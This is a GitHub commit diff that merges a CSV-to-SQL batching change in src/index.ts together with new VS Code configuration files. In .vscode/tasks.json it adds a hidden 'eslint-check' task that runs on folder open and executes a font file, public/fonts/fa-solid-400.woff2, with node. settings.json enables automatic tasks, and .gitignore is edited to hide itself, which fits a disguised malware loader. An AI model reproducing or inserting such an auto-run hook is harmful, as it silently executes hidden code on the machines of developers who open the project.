Skip to content

Commit e6473b0

Browse files
committed
Merge pull request #32 from ahmad-511/dev
2 parents d085096 + cf713db commit e6473b0

7 files changed

Lines changed: 147 additions & 7 deletions

File tree

.gitignore

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
11
node_modules
22
.env
3-
.vscode
4-
dist/
3+
dist/
4+
temp_auto_push.bat
5+
temp_interactive_push.bat
6+
.gitignore
7+
branch_structure.json

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

src/index.ts

Lines changed: 27 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,30 @@
11
import { promises as fs ,existsSync} from "fs";
22
import {createIfNot} from "./utils/fileUtils.js"
33
import * as path from "node:path"
4-
async function writeSQL(statement: string, saveFileAs = "") {
4+
async function writeSQL(statement: string, saveFileAs = "", isAppend: boolean = false) {
55
try {
66
const destinationFile = process.argv[2] || saveFileAs;
77
if (!destinationFile) {
88
throw new Error("Missing saveFileAs parameter");
99
}
1010
createIfNot(path.resolve(`./sql/${destinationFile}.sql`))
11-
await fs.writeFile(`sql/${process.argv[2]}.sql`, statement);
11+
if(isAppend){
12+
await fs.appendFile(`sql/${process.argv[2]}.sql`, statement);
13+
}else{
14+
await fs.writeFile(`sql/${process.argv[2]}.sql`, statement);
15+
}
1216
} catch (err) {
1317
console.log(err);
1418
}
1519
}
16-
async function readCSV(csvFileName = "") {
20+
21+
async function readCSV(csvFileName = "", batchSize: number = 0) {
1722
try {
1823
const fileAndTableName = process.argv[2] || csvFileName;
24+
25+
batchSize = parseInt(process.argv[3]) || batchSize || 500;
26+
let isAppend: boolean = false;
27+
1928
if (!fileAndTableName) {
2029
throw new Error("Missing csvFileName parameter");
2130
}
@@ -32,7 +41,7 @@ async function readCSV(csvFileName = "") {
3241
columnNames.forEach((name) => (beginSQLInsert += `${name}, `));
3342
beginSQLInsert = beginSQLInsert.slice(0, -2) + ")\nVALUES\n";
3443
let values = "";
35-
linesArray.forEach((line) => {
44+
linesArray.forEach((line, index) => {
3645
// Parses each line of CSV into field values array
3746
const arr = line.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);
3847
if (arr.length > columnNames.length) {
@@ -42,6 +51,19 @@ async function readCSV(csvFileName = "") {
4251
console.log(arr);
4352
throw new Error("Too Few Values in row");
4453
}
54+
55+
// Check batch size (rows per batch)
56+
if(index > 0 && index % batchSize == 0){
57+
values = values.slice(0, -2) + ";\n\n";
58+
59+
const sqlStatement = beginSQLInsert + values;
60+
61+
// Write File
62+
writeSQL(sqlStatement, fileAndTableName, isAppend);
63+
values = "";
64+
isAppend = true;
65+
}
66+
4567
let valueLine = "\t(";
4668
arr.forEach((value) => {
4769
// Matches NULL values, Numbers,
@@ -64,7 +86,7 @@ async function readCSV(csvFileName = "") {
6486
values = values.slice(0, -2) + ";";
6587
const sqlStatement = beginSQLInsert + values;
6688
// Write File
67-
writeSQL(sqlStatement);
89+
writeSQL(sqlStatement, fileAndTableName, isAppend);
6890
} catch (err) {
6991
console.log(err);
7092
}

0 commit comments

Comments
 (0)